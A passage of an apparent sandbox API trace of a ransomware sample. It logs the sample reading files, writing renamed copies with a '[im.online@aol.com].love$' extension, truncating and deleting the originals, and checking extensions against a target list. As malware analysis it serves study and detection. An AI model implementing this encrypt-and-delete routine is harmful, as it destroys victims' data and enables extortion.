lstrlenW (lpString="SetupResources.dll") returned 18 [0100.790] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0101.044] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=17752) returned 1 [0101.044] CloseHandle (hObject=0x350) returned 1 [0101.044] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0101.044] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.057] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.057] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.060] GetLastError () returned 0x0 [0101.060] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4558, lpOverlapped=0x0) returned 1 [0101.063] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4560, lpOverlapped=0x0) returned 1 [0101.064] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.064] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0101.065] SetEndOfFile (hFile=0x34c) returned 1 [0101.065] CloseHandle (hObject=0x34c) returned 1 [0101.066] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.066] SetEndOfFile (hFile=0x344) returned 1 [0101.067] CloseHandle (hObject=0x344) returned 1 [0101.068] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.068] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0101.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.068] lstrlenW (lpString=".doc") returned 4 [0101.068] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.068] lstrlenW (lpString=".docx") returned 5 [0101.068] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.069] lstrlenW (lpString=".pdf") returned 4 [0101.069] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.069] lstrlenW (lpString=".xls") returned 4 [0101.069] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.069] lstrlenW (lpString=".xlsx") returned 5 [0101.069] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.069] lstrlenW (lpString=".ppt") returned 4 [0101.069] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.069] lstrlenW (lpString=".zip") returned 4 [0101.069] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.069] lstrlenW (lpString=".rar") returned 4 [0101.069] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.069] lstrlenW (lpString=".bz2") returned 4 [0101.069] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.069] lstrlenW (lpString=".7z") returned 3 [0101.069] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.069] lstrlenW (lpString=".dbf") returned 4 [0101.069] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.069] lstrlenW (lpString=".1cd") returned 4 [0101.069] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.069] lstrlenW (lpString=".jpg") returned 4 [0101.069] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.070] lstrlenW (lpString=".doc") returned 4 [0101.070] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.070] lstrlenW (lpString=".docx") returned 5 [0101.070] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.070] lstrlenW (lpString=".pdf") returned 4 [0101.070] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.070] lstrlenW (lpString=".xls") returned 4 [0101.070] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.070] lstrlenW (lpString=".xlsx") returned 5 [0101.070] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.070] lstrlenW (lpString=".ppt") returned 4 [0101.070] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.070] lstrlenW (lpString=".zip") returned 4 [0101.070] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.070] lstrlenW (lpString=".rar") returned 4 [0101.070] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.070] lstrlenW (lpString=".bz2") returned 4 [0101.070] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.070] lstrlenW (lpString=".7z") returned 3 [0101.070] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.070] lstrlenW (lpString=".dbf") returned 4 [0101.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.070] lstrlenW (lpString=".1cd") returned 4 [0101.070] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0101.070] lstrlenW (lpString=".jpg") returned 4 [0101.071] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.071] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0101.071] lstrlenW (lpString="Rotate1.ico") returned 11 [0101.071] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.071] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=894) returned 1 [0101.071] CloseHandle (hObject=0x344) returned 1 [0101.071] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0101.071] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.071] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.072] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.072] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.072] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.072] GetLastError () returned 0x0 [0101.072] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x37e, lpOverlapped=0x0) returned 1 [0101.074] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x380, lpOverlapped=0x0) returned 1 [0101.076] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.076] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xea, lpOverlapped=0x0) returned 1 [0101.076] SetEndOfFile (hFile=0x34c) returned 1 [0101.076] CloseHandle (hObject=0x34c) returned 1 [0101.077] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.077] SetEndOfFile (hFile=0x344) returned 1 [0101.078] CloseHandle (hObject=0x344) returned 1 [0101.078] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.079] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0101.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.079] lstrlenW (lpString=".doc") returned 4 [0101.079] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0101.079] lstrlenW (lpString=".docx") returned 5 [0101.079] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0101.079] lstrlenW (lpString=".pdf") returned 4 [0101.079] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0101.079] lstrlenW (lpString=".xls") returned 4 [0101.079] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0101.079] lstrlenW (lpString=".xlsx") returned 5 [0101.079] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0101.079] lstrlenW (lpString=".ppt") returned 4 [0101.080] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0101.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.080] lstrlenW (lpString=".zip") returned 4 [0101.080] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0101.080] lstrlenW (lpString=".rar") returned 4 [0101.080] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0101.080] lstrlenW (lpString=".bz2") returned 4 [0101.080] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0101.080] lstrlenW (lpString=".7z") returned 3 [0101.080] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0101.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.080] lstrlenW (lpString=".dbf") returned 4 [0101.080] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0101.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.080] lstrlenW (lpString=".1cd") returned 4 [0101.080] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0101.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.080] lstrlenW (lpString=".jpg") returned 4 [0101.080] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0101.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.080] lstrlenW (lpString=".doc") returned 4 [0101.080] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0101.080] lstrlenW (lpString=".docx") returned 5 [0101.080] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0101.080] lstrlenW (lpString=".pdf") returned 4 [0101.080] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0101.081] lstrlenW (lpString=".xls") returned 4 [0101.081] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0101.081] lstrlenW (lpString=".xlsx") returned 5 [0101.081] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0101.081] lstrlenW (lpString=".ppt") returned 4 [0101.081] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0101.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.081] lstrlenW (lpString=".zip") returned 4 [0101.081] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0101.081] lstrlenW (lpString=".rar") returned 4 [0101.081] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0101.081] lstrlenW (lpString=".bz2") returned 4 [0101.081] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0101.081] lstrlenW (lpString=".7z") returned 3 [0101.081] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0101.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.081] lstrlenW (lpString=".dbf") returned 4 [0101.081] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0101.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.081] lstrlenW (lpString=".1cd") returned 4 [0101.081] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0101.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0101.081] lstrlenW (lpString=".jpg") returned 4 [0101.081] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0101.082] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0101.082] lstrlenW (lpString="Rotate2.ico") returned 11 [0101.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.082] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=894) returned 1 [0101.082] CloseHandle (hObject=0x344) returned 1 [0101.082] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0101.082] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.082] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.082] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.083] GetLastError () returned 0x0 [0101.083] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x37e, lpOverlapped=0x0) returned 1 [0101.085] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x380, lpOverlapped=0x0) returned 1 [0101.087] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.087] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xea, lpOverlapped=0x0) returned 1 [0101.087] SetEndOfFile (hFile=0x34c) returned 1 [0101.087] CloseHandle (hObject=0x34c) returned 1 [0101.089] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.089] SetEndOfFile (hFile=0x344) returned 1 [0101.090] CloseHandle (hObject=0x344) returned 1 [0101.090] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.091] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0101.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.091] lstrlenW (lpString=".doc") returned 4 [0101.091] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0101.091] lstrlenW (lpString=".docx") returned 5 [0101.091] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0101.091] lstrlenW (lpString=".pdf") returned 4 [0101.091] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0101.091] lstrlenW (lpString=".xls") returned 4 [0101.091] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0101.091] lstrlenW (lpString=".xlsx") returned 5 [0101.091] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0101.091] lstrlenW (lpString=".ppt") returned 4 [0101.091] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0101.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.091] lstrlenW (lpString=".zip") returned 4 [0101.091] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0101.092] lstrlenW (lpString=".rar") returned 4 [0101.092] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0101.092] lstrlenW (lpString=".bz2") returned 4 [0101.092] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0101.092] lstrlenW (lpString=".7z") returned 3 [0101.092] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0101.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.092] lstrlenW (lpString=".dbf") returned 4 [0101.092] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0101.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.092] lstrlenW (lpString=".1cd") returned 4 [0101.092] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0101.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.092] lstrlenW (lpString=".jpg") returned 4 [0101.092] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0101.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.092] lstrlenW (lpString=".doc") returned 4 [0101.092] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0101.092] lstrlenW (lpString=".docx") returned 5 [0101.092] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0101.092] lstrlenW (lpString=".pdf") returned 4 [0101.092] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0101.092] lstrlenW (lpString=".xls") returned 4 [0101.092] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0101.092] lstrlenW (lpString=".xlsx") returned 5 [0101.093] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0101.093] lstrlenW (lpString=".ppt") returned 4 [0101.093] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0101.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.093] lstrlenW (lpString=".zip") returned 4 [0101.093] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0101.093] lstrlenW (lpString=".rar") returned 4 [0101.093] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0101.093] lstrlenW (lpString=".bz2") returned 4 [0101.093] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0101.093] lstrlenW (lpString=".7z") returned 3 [0101.093] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0101.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.093] lstrlenW (lpString=".dbf") returned 4 [0101.093] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0101.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.093] lstrlenW (lpString=".1cd") returned 4 [0101.093] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0101.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0101.093] lstrlenW (lpString=".jpg") returned 4 [0101.093] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0101.093] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0101.093] lstrlenW (lpString="Rotate3.ico") returned 11 [0101.094] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.094] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=894) returned 1 [0101.094] CloseHandle (hObject=0x344) returned 1 [0101.094] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0101.094] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.094] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.094] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.094] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.095] GetLastError () returned 0x0 [0101.095] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x37e, lpOverlapped=0x0) returned 1 [0101.524] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x380, lpOverlapped=0x0) returned 1 [0101.532] ReadFile (in: hFile=0x344, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, 